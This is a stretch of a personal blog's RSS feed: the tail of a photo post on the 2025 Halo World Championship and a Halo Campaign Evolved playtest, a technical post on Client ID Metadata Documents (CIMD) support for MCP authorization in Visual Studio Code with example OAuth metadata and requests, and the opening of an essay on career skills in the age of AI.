<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze interviewing BesT MaN on the main stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-128.webp"
    
  />
  
  <figcaption class="text-center">Blaze interviewing BesT MaN on the main stage.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Royal2 sharing his last thoughts on winning the championship."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-129.webp"
    
  />
  
  <figcaption class="text-center">Royal2 sharing his last thoughts on winning the championship.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="LastShot holding up the trophy."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-130.webp"
    
  />
  
  <figcaption class="text-center">LastShot holding up the trophy.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Cykul&#39;s turn to hold up the trophy."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-131.webp"
    
  />
  
  <figcaption class="text-center">Cykul&rsquo;s turn to hold up the trophy.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="And now it&#39;s Frosty."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-132.webp"
    
  />
  
  <figcaption class="text-center">And now it&rsquo;s Frosty.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="2025 Halo World Champions - Shopify Rebellion."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-133.webp"
    
  />
  
  <figcaption class="text-center">2025 Halo World Champions - Shopify Rebellion.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Frosty admiring his team&#39;s trophy."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-134.webp"
    
  />
  
  <figcaption class="text-center">Frosty admiring his team&rsquo;s trophy.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="LastShot hands the trophy to Cykul."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-135.webp"
    
  />
  
  <figcaption class="text-center">LastShot hands the trophy to Cykul.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Cykul definitely deserved this trophy with his performance this year."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-136.webp"
    
  />
  
  <figcaption class="text-center">Cykul definitely deserved this trophy with his performance this year.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Cykul handing the trophy to the coach that brought them to this win."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-137.webp"
    
  />
  
  <figcaption class="text-center">Cykul handing the trophy to the coach that brought them to this win.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="BesT MaN holding up the trophy."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-138.webp"
    
  />
  
  <figcaption class="text-center">BesT MaN holding up the trophy.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Once more for Shopify Rebellion."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-139.webp"
    
  />
  
  <figcaption class="text-center">Once more for Shopify Rebellion.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Blaze with his closing thoughts on the Grand Final."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-140.webp"
    
  />
  
  <figcaption class="text-center">Blaze with his closing thoughts on the Grand Final.</figcaption>
</figure>
<h2 id="halo-campaign-evolved-playtest" class="relative group">Halo Campaign Evolved playtest <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#halo-campaign-evolved-playtest" aria-label="Anchor">#</a></span></h2>
<p>A fun (and surprising) part of the event was that attendees got the chance to playtest <a
  href="https://www.halopedia.org/The_Silent_Cartographer"
  
  target="_blank" rel="noreferrer noopener"
>The Silent Cartographer</a> from the soon-to-be-released Halo Campaign Evolved. If you were at the venue and were confused by the massive walled-off area in the middle, that&rsquo;s what it was about.</p>
<p>On the first day, the line was massive, so we decided not to brave it and instead partake in other activities, like watching the main stage. On the second and third days, though, it was relatively simple to go and sign up for a time slot and then play the game for twenty-ish minutes.</p>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Playtest area with fancy Haworth Halo chairs."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-m-02.webp"
    
  />
  
  <figcaption class="text-center">Playtest area with fancy Haworth Halo chairs.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A snapshot of Halo Campaign Evolved."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-m-03.webp"
    
  />
  
  <figcaption class="text-center">A snapshot of Halo Campaign Evolved.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="You could only play The Silent Cartographer."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-m-04.webp"
    
  />
  
  <figcaption class="text-center">You could only play The Silent Cartographer.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Same as previous Halo games, you can select mission difficulty from the start. Legendary was definitely a painful mistake."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-m-05.webp"
    
  />
  
  <figcaption class="text-center">Same as previous Halo games, you can select mission difficulty from the start. Legendary was definitely a painful mistake.</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Among the first to play Halo Campaign Evolved - that&#39;s something!"
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-m-06.webp"
    
  />
  
  <figcaption class="text-center">Among the first to play Halo Campaign Evolved - that&rsquo;s something!</figcaption>
</figure>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Not much time to play through the entire mission, but enough to be excited about it."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-world-championship-2025/photo-m-07.webp"
    
  />
  
  <figcaption class="text-center">Not much time to play through the entire mission, but enough to be excited about it.</figcaption>
</figure>
<h2 id="whats-next" class="relative group">What&rsquo;s next <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#whats-next" aria-label="Anchor">#</a></span></h2>
<p>As I mentioned above, Halo Infinite has reached the metaphorical end-of-life. I say metaphorical because there is still <a
  href="https://www.halowaypoint.com/news/infinite-operation-launch"
  
  target="_blank" rel="noreferrer noopener"
>a whole new operation released</a>, but it will be the last one for this version of the game. It&rsquo;s a bit of a bittersweet moment, especially as I think fondly of the early days of the game when I was <a
  href="https://den.dev/tags/halo/"
  
  target="_blank" rel="noreferrer noopener"
>reverse-engineering its API</a> to be able to collect my stats.</p>
<p>With this, I think it&rsquo;s worth mentioning that <a
  href="https://openspartan.com"
  
  target="_blank" rel="noreferrer noopener"
>OpenSpartan</a> will live on, and so will my .NET wrapper for the Halo Infinite API - <a
  href="https://gruntapi.com"
  
  target="_blank" rel="noreferrer noopener"
>Grunt API</a>. I aim to still support <a
  href="https://openspartan.com/docs/workshop/guides/get-started/"
  
  target="_blank" rel="noreferrer noopener"
>OpenSpartan Workshop</a> for those that are still playing Halo Infinite - although I don&rsquo;t expect to put <em>a ton</em> of time into it given my other professional and personal priorities, I will make sure that the data collection part and its UI continue to work, as long as the Halo Infinite API itself remains in working shape (I expect it to be fine for the foreseeable future). You might even see an occasional Halo-related data analysis or API blog post popping up on this very blog.</p>
<p>This chapter of Halo is ending, but I am sure a new one will begin soon - after all, this coming year there will be a <a
  href="https://www.halowaypoint.com/news/halo-fest-announced"
  
  target="_blank" rel="noreferrer noopener"
>25th year celebration HaloFest</a>. I&rsquo;ll be eagerly waiting for the next release and all the goodies it comes with.</p>
<p>Before I wrap up, I also want to express a <strong>huge</strong> &ldquo;thank you&rdquo; to so many folks at Halo Studios, but especially Diviyan Matheendran, Scott McMurray, Ron Brown, and Jeff Carnahan. Thanks to these folks I managed to learn so much more about Halo, <a
  href="https://den.dev/blog/halo-museum/"
  
  target="_blank" rel="noreferrer noopener"
>tour the famous Halo Museum</a>, get some <a
  href="https://www.reddit.com/r/halo/comments/1jr1jqm/this_is_it_the_holy_grail_of_my_halo_collection/"
  
  target="_blank" rel="noreferrer noopener"
>one-of-a-kind signed posters</a> (and stickers), and so much more. It&rsquo;s such a wonderful crew of people - the franchise is in excellent hands.</p>
<p>With that, I am excited to see Halo grow and, you might say, evolve (hah!) - see you all next year!</p>
<h2 id="copyright" class="relative group">Copyright <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#copyright" aria-label="Anchor">#</a></span></h2>
<p>Given that this is <em>the internet</em>, I need to mention this. I retain copyright on all these photos. Their use anywhere, whether for commercial or non-commercial purposes, is <strong>prohibited without my written consent</strong>.</p>
]]></content:encoded></item><item><title>Support For CIMD For MCP In Visual Studio Code</title><link>https://den.dev/blog/cimd-vs-code-mcp/</link><pubDate>Mon, 17 Nov 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/cimd-vs-code-mcp/</guid><description>A quick overview of the upcoming change to the MCP specification that introduces support for Client ID Metadata Documents (CIMD), and how it will be supported in Visual Studio Code.</description><content:encoded><![CDATA[<p>Just this past Friday we put the current Model Context Protocol specification in &ldquo;frozen&rdquo; state. In practice, that just means that all the big items have been merged and the community and maintainers are now heads-down implementing the changes and working through the last papercuts to make sure the new functionality is well-documented and works the way it&rsquo;s expected.</p>
<p>One change that made it into the protocol was driven by <a
  href="https://aaronparecki.com/"
  
  target="_blank" rel="noreferrer noopener"
>Aaron Parecki</a> into the <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization"
  
  target="_blank" rel="noreferrer noopener"
>authorization specification</a> - support for <a
  href="https://datatracker.ietf.org/doc/draft-ietf-oauth-client-id-metadata-document/"
  
  target="_blank" rel="noreferrer noopener"
>Client ID Metadata Documents</a> (CIMD). This work comes on the heels of the pain that developers have experienced for the past six months trying to get <a
  href="https://www.rfc-editor.org/rfc/rfc7591"
  
  target="_blank" rel="noreferrer noopener"
>Dynamic Client Registration</a> (DCR) working properly for their MCP servers. Spoiler alert - it&rsquo;s neither fun nor easy to implement it from scratch if you&rsquo;re using an Identity Provider that doesn&rsquo;t support it. Let alone the complexity of now having to maintain a separate pseudo-Authorization Server (AS) for this purpose.</p>
<h2 id="how-cimd-works" class="relative group">How CIMD works <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#how-cimd-works" aria-label="Anchor">#</a></span></h2>
<p>First, let&rsquo;s maybe take a short detour into the world of CIMD and how it <em>actually</em> works. I won&rsquo;t rehash the specification because you can read it on your own time. The gist of the approach is that instead of relying on some kind of client registration mechanism like DCR (or pre-registration, as is common in the OAuth world), a client can <em>identify itself</em> to an AS. To do that, the client effectively exposes a JSON document on a well-known URL that is treated as a client ID by the AS. The document itself contains the required metadata that allows the AS to reliably make a determination about the validity of the client.</p>
<p>The JSON the client hosts may look something like this (the URLs are entirely fictional - I am not <em>yet</em> hosting my own MCP server):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;client_id&#34;</span><span class="p">:</span> <span class="s2">&#34;https://mcp.den.dev/oauth/metadata.json&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;client_name&#34;</span><span class="p">:</span> <span class="s2">&#34;den.dev&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;client_uri&#34;</span><span class="p">:</span> <span class="s2">&#34;https://mcp.den.dev&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;redirect_uris&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;https://mcp.den.dev/oauth/callback&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>With the client ready, we now also need to make sure that the AS supports CIMD - the approach here is not magical and requires work on both sides of the aisle. Prior to actually being able to get any tokens, a client would send a <code>GET</code> request to the AS authorization endpoint with the metadata URL as the client ID, and then jump through the same authorization hoops as one normally would to get the user credentials and ultimately - a credential (usually in the shape of an opaque token). This requires AS developers to implement support for the capability.</p>
<div class="flex flex-row items-center px-4 py-2 mb-8 text-base rounded-md bg-primary-100 dark:bg-primary-900">
    <div style="width: 25%;">
      <img src="https://assets.den.dev/images/shared/thinking.gif" alt="Mole is thinking." />
    </div>
    <div style="padding: 8px; max-width: 75%;">
      <p>But if this requires work from AS developers, where can I start testing this functionality? What if I want to be able to build something with CIMD - do I need to wait until the AS my organization uses actually implements the draft RFC?</p>
    </div>
  </div>  
<p>Indeed. However, the awesome folks at <a
  href="https://stytch.com"
  
  target="_blank" rel="noreferrer noopener"
>Stytch</a> actually added support for CIMD already - you can use their AS for testing. They even put together an excellent education resource for those that want to learn more about the approach on the dedicated <a
  href="https://client.dev/"
  
  target="_blank" rel="noreferrer noopener"
>Client ID Metadata Documents</a> site.</p>
<p>I really like this approach for its simplicity - if I am a developer of &ldquo;Den&rsquo;s MCP Server&rdquo; hosted at <code>https://mcp.den.dev</code>, I am the only one that can actually host a CIMD on this domain. We&rsquo;re back to using DNS as the source of truth. An AS can then verify the document from my server against a number of parameters (e.g., source matching the client ID, whether the expected redirect URIs are used) and then make a determination on whether to trust this client or not.</p>
<p>Now, some of you might jump up eagerly yelling at the screen &ldquo;Den, but what about <em>client secrets</em>?&rdquo; With CIMD, client secrets are not applicable. For all intents and purposes, we&rsquo;re talking about a similar approach to other <a
  href="https://oauth.net/2/client-types/"
  
  target="_blank" rel="noreferrer noopener"
>public clients in OAuth</a>.</p>
<h2 id="integration-in-visual-studio-code" class="relative group">Integration in Visual Studio Code <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#integration-in-visual-studio-code" aria-label="Anchor">#</a></span></h2>
<p>Starting last week, <a
  href="https://code.visualstudio.com/"
  
  target="_blank" rel="noreferrer noopener"
>Visual Studio Code</a> supports CIMD for MCP in its stable build. It hosts its CIMD here:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">https://vscode.dev/oauth/client-metadata.json
</span></span></code></pre></div><p>To get everything up and running, we need to find an AS that we can tinker with. Luckily, we can use one that <a
  href="https://github.com/max-stytch"
  
  target="_blank" rel="noreferrer noopener"
>Max Gerber</a> from Stytch <a
  href="https://www.val.town/x/max_stytch/stytch-as-demo"
  
  target="_blank" rel="noreferrer noopener"
>put together in the open</a> (you can <a
  href="https://stytch-as-demo.val.run/login"
  
  target="_blank" rel="noreferrer noopener"
>view the hosted version</a> too). We will also use a MCP server that Max provided that we can use out-of-the-box (we&rsquo;ll need this URL to connect inside Visual Studio Code):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">https://stytch-as-demo.val.run/mcp
</span></span></code></pre></div><p>When the MCP server is added, it will follow all of the steps that <a
  href="https://den.dev/blog/new-mcp-authorization-spec/"
  
  target="_blank" rel="noreferrer noopener"
>we&rsquo;ve talked before</a>. It even hosts its Protected Resource Metadata (PRM) where you expect it:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">https://stytch-as-demo.val.run/.well-known/oauth-protected-resource
</span></span></code></pre></div><p>It looks like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;resource&#34;</span><span class="p">:</span> <span class="s2">&#34;https://stytch-as-demo.val.run/mcp&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;authorization_servers&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;https://industrious-dress-4239.customers.stytch.dev&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;scopes_supported&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;openid&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;email&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>So far so good, and nothing too different from other PRM documents we&rsquo;ve seen before. After getting the PRM, the client (Visual Studio Code, in this case) will go ahead and get the AS metadata document. The URI for it is constructed based on standard OAuth conventions, and ends up being this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">https://industrious-dress-4239.customers.stytch.dev/.well-known/oauth-authorization-server
</span></span></code></pre></div><p>Which, inside, looks like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;authorization_endpoint&#34;</span><span class="p">:</span> <span class="s2">&#34;https://stytch-as-demo.val.run/oauth/authorize&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;client_id_metadata_document_supported&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;code_challenge_methods_supported&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;S256&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;grant_types_supported&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;authorization_code&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;refresh_token&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;issuer&#34;</span><span class="p">:</span> <span class="s2">&#34;https://industrious-dress-4239.customers.stytch.dev&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;jwks_uri&#34;</span><span class="p">:</span> <span class="s2">&#34;https://industrious-dress-4239.customers.stytch.dev/.well-known/jwks.json&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;registration_endpoint&#34;</span><span class="p">:</span> <span class="s2">&#34;https://industrious-dress-4239.customers.stytch.dev/v1/oauth2/register&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;request_id&#34;</span><span class="p">:</span> <span class="s2">&#34;request-id-test-b9d728aa-77f1-4fce-aa12-b9360ba521a2&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;response_types_supported&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;code&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;code token&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;scopes_supported&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;openid&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;profile&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;email&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;phone&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;offline_access&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;status_code&#34;</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;token_endpoint&#34;</span><span class="p">:</span> <span class="s2">&#34;https://industrious-dress-4239.customers.stytch.dev/v1/oauth2/token&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;token_endpoint_auth_methods_supported&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;client_secret_basic&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;client_secret_post&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;none&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;userinfo_endpoint&#34;</span><span class="p">:</span> <span class="s2">&#34;https://industrious-dress-4239.customers.stytch.dev/v1/oauth2/userinfo&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Notice the presence of <code>client_id_metadata_document_supported</code>. This is what hints to the client that they can bypass the entire registration dance and jump right in by sending a <code>GET</code> request like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">https://stytch-as-demo.val.run
</span></span><span class="line"><span class="cl">  /oauth
</span></span><span class="line"><span class="cl">  /authorize
</span></span><span class="line"><span class="cl">    ?client_id=https%3A%2F%2Fvscode.dev%2Foauth%2Fclient-metadata.json
</span></span><span class="line"><span class="cl">    &amp;response_type=code
</span></span><span class="line"><span class="cl">    &amp;code_challenge=luDEIWQzDnkpDAlm563kBp9CugNlwgWPb4BQBBq8JNg
</span></span><span class="line"><span class="cl">    &amp;code_challenge_method=S256
</span></span><span class="line"><span class="cl">    &amp;scope=openid+email
</span></span><span class="line"><span class="cl">    &amp;resource=https%3A%2F%2Fstytch-as-demo.val.run%2Fmcp
</span></span><span class="line"><span class="cl">    &amp;redirect_uri=http%3A%2F%2F127.0.0.1%3A33418%2F
</span></span><span class="line"><span class="cl">    &amp;state=Yk%2FLbnhh1Ht869Ua11VXKw%3D%3D
</span></span></code></pre></div><p>If you&rsquo;re an OAuth aficionado, this will look <em>super familiar</em> - because it is. The only thing that really changed is that the client ID is now the metadata document URL and not some other identifier (e.g., a GUID in Entra ID).</p>
<p>And just like that, CIMD <em>just works</em> for protected MCP servers that rely on AS with this feature implemented inside Visual Studio Code:</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/cimd-vs-code-mcp/cimd.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="CIMD integration in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/cimd-vs-code-mcp/cimd.gif"
    
  />
  </a>
  <figcaption class="text-center">CIMD integration in Visual Studio Code.</figcaption>
</figure>
<h2 id="whats-next" class="relative group">What&rsquo;s next <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#whats-next" aria-label="Anchor">#</a></span></h2>
<p>As Paul Carleton (one of the MCP Core Maintainers) mentioned in <a
  href="https://blog.modelcontextprotocol.io/posts/client_registration/"
  
  target="_blank" rel="noreferrer noopener"
>his blog post</a> from August of this year, CIMD <em>is</em> coming to the MCP specification and is already available in the draft that we&rsquo;re aiming to make stable at the end of November. I am excited about this change mainly because it significantly simplifies how developers can protect their MCP servers without jumping through many (many) unpleasantries of DCR.</p>
<p>With Visual Studio Code already supporting this, and with a test AS being available from the folks at Stytch, if you&rsquo;re a MCP client or server developer I highly recommend you start tinkering with it and seeing what the rough edges are and how those can be improved. And as always, MCP <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol"
  
  target="_blank" rel="noreferrer noopener"
>feedback is welcome</a>!</p>
]]></content:encoded></item><item><title>You Need To Become A Full Stack Person</title><link>https://den.dev/blog/full-stack-person/</link><pubDate>Mon, 03 Nov 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/full-stack-person/</guid><description>AI tools are commoditizing single-skill roles. The future belongs to people who can think, build, and ship across the entire stack.</description><content:encoded><![CDATA[<p>I&rsquo;ll start off by saying that I am <a
  href="https://den.dev/blog/agents/"
  
  target="_blank" rel="noreferrer noopener"
>not at all an AI doomer</a> - by <em>any stretch</em>. I don&rsquo;t believe AI will completely wipe out the need for <strong>skilled</strong> product managers, engineers, data scientists, UX designers, or many, <em>many</em> other positions. It also won&rsquo;t wipe out the need for actually <strong>caring about craft</strong>. You know, the opposite of whatever this is:</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/full-stack-person/amazon-chime.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Amazon Chime somehow left an impression on me as the worst software I&#39;ve ever used. Go figure."
    
    
    
      src="https://assets.den.dev/images/postmedia/full-stack-person/amazon-chime.webp"
    
  />
  </a>
  <figcaption class="text-center">Amazon Chime somehow left an impression on me as the worst software I&rsquo;ve ever used. Go figure.</figcaption>
</figure>
<p>I see the stuff Large Language Models (LLMs) generate daily, and boy do they still need a lot of <em>intelligent</em> human interfacing in the process. This might, of course, be a point in time constraint. Model capabilities <em>can</em> evolve non-linearly and we might just see one or more variants that will be able to perform a range of tech-adjacent tasks completely independently. Especially if <a
  href="/blog/github-spec-kit/"
  
  
>guided properly</a>. Today&rsquo;s not that day.</p>
<p>But you know what - even if and when that day comes, I still see LLMs as <strong>idea implementation vehicles</strong> and not a replacement for <strong>creativity</strong>, <strong>agency</strong>, and <strong>taste</strong>. They are not a substitute for <strong>craft</strong> and <strong>actually knowing what you&rsquo;re talking about</strong>, which is what I wanted to write down some ideas on.</p>
<p>If I wanted you to have one key takeaway from this entire essay - AI slop is not a replacement for a trifecta of domain knowledge, product sense, and engineering skills. Congratulations, you can stop reading this post. Or go on to learn more about my rationale.</p>
<p>Oh, and while I don&rsquo;t believe that LLMs will replace us wholesale, all signs point in the direction of a major role expectation re-shuffle. That transition won&rsquo;t take weeks, but it&rsquo;s happening <em>already</em> and my goal is to get you prepared for it.</p>
<h2 id="role-flattening" class="relative group">Role Flattening <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#role-flattening" aria-label="Anchor">#</a></span></h2>
<p>In my more-than-a-decade career, I&rsquo;ve spent some time thinking about <a
  href="https://commoncog.com/career-moats-101/"
  
  target="_blank" rel="noreferrer noopener"
>career moats</a> and even <a
  href="https://theworkitem.com/episodes/career-moats-cedric-chin/"
  
  target="_blank" rel="noreferrer noopener"
>interviewed Cedric Chin</a>, the guy who coined the term for me, about it.</p>
<p>The idea behind a career moat is simple - it&rsquo;s a unique combination of hard-to-acquire skills and talents that set you up for long-term career security and growth. This combination <strong>does not</strong> answer the &ldquo;<em>How easy will it be for me to continuously keep my job?</em>&rdquo; question and instead focuses on &ldquo;<em>How easy will it be for me to find my next job?</em>&rdquo; The former can set up perverse incentives (&quot;<em>Nobody on the team knows how this works other than me.</em>&quot;) while the latter aligns them with the market (&quot;<em>Nobody in the world does this set of things better than me.</em>&quot;).</p>
<p>So, naturally you want to establish a career moat for yourself if you want to accelerate your career growth and build in some resilience. The problem is that career moats are hard to build - they require time and intentional focus. The challenge is amplified by current LLM advancements, where some pieces of your <em>existing</em> tech-related moat might not be as durable.</p>
